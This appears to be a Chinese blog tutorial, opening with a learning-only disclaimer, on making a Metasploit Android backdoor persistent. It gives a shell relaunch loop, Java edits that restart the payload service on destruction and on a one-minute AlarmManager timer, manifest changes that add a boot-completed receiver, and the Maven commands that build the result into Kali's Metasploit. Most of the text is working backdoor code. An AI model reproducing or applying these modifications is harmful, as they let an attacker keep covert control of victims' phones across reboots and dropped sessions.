## 前言:本教程只作为学习用途,切勿用于其他用途。恶意入侵他人终端属于国家明令禁止的违法行为,请务必遵守!!!
## 搭建环境:
### kali linux 2019.3
### Metasploit Framework
### Android Studio
### Android SDK && NDK
## 需求、原因:
Metasploit创建的安卓payload所建立的sessions连接非常不稳定,一不小心你费劲心思建立的后门就断掉了,因此我们需要做后门的维持。目前,Payload的维持比较普遍的方案是执行以下脚本:
#!/bin/sh while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 10 done
但是这种方案有着几个限制:1)需要先建立一个稳定的连接;2)关机重启后,后门便会关闭,需要手动点击后门app才能再次建立后门。因此,博主在这篇文章中给出一种能够克服这两个缺点的方案。
## 永续的安卓后门:
### 1. 采用Android Studio 从 https://github.com/rapid7/metasploit-payloads.git 下载metasploit的payload项目代码。
### 2. 修改源码:通过分析 payload的主要代码是由安卓服务 com.metasploit.stage.Mainservice 执行的。因此,这里主要的思想就是,如果能够让Mainservice服务不断地执行。
#### 2.1. 修改MainService代码,让Service在销毁时自动重启,添加以下代码:
@Override public void onDestroy() { Intent localIntent = new Intent(); localIntent.setClass(this, MainService.class); this.startService(localIntent); }
#### 2.2. 修改MainService代码,在onStartCommand中添加AlarmManager使Service定时执行。添加以下代码:
// 添加AlarmManager的引用 import android.os.SystemClock; import android.app.AlarmManager; import android.app.PendingIntent; // 修改onStartCommand方法 @Override public int onStartCommand(Intent intent, int flags, int startId) { Payload.start(this); AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE); int restarttime = 60 * 1000; // one minute long triggerAtTime = SystemClock.elapsedRealtime() + restarttime; Intent i = new Intent("METASPLOIT"); PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0); manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi); return START_STICKY; }
#### 2.3. 修改MainBroadcastReceiver代码,使其能够接受AlarmManager的提醒。修改如下:
@Override public void onReceive(Context context, Intent intent) { MainService.startService(context); }
#### 2.4. 在AndroidManifest.xml中,加入修改的配置,并使payload开机重启。如下:
// 修改安装位置,使payload安装在内存中 <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.metasploit.stage" android:installLocation="internalOnly" android:versionCode="1" android:versionName="1.0" > // 修改Receiver的相关设置: <receiver android:name=".MainBroadcastReceiver" android:label="MainBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <category android:name="android.intent.category.HOME" /> <action android:name="METASPLOIT" /> </intent-filter> </receiver>
### 3. 编译、部署
#### 3.1. 根据自身环境安装Maven(3.0以上),Android-SDK 和 Android-NDK
Maven安装教程: http://www.jeepxie.net/article/790968.html (Mac教程)
Android-SDK安装:下载API版本为10和19的Android-SDK
Android-NDK安装:
#### 3.2. 打开终端,进入项目目录,编译命令如下:
// 进入目录 cd Documents/AndroidStudioProjects/metasploit-payloads /java // 编译后门 mvn -D deploy.path=target -P android -P deploy -Dandroid.ndk.path <NDK目录> -Dandroid.sdk.path=<SDK目录> -Dandroid.release=true package // 我的目录 mvn -D deploy.path=target -P android -P deploy -Dandroid.ndk.path=/Users/liangjunwei/Library/Android/sdk/ndk-bundle -Dandroid.sdk.path=/Users/liangjunwei/Library/Android/sdk -Dandroid.release=true package
#### 3.3. 在 ./java/target/data 目录下,找到android文件夹,并拷贝到kali的metasploit目录下 (usr/share/metsploit-framework/data)。至此,所有配置完成。
### 4. 测试
#### 4.1. 创建新的payload,出现如下提示表示成功:
#### 4.2. 完成。效果如视频。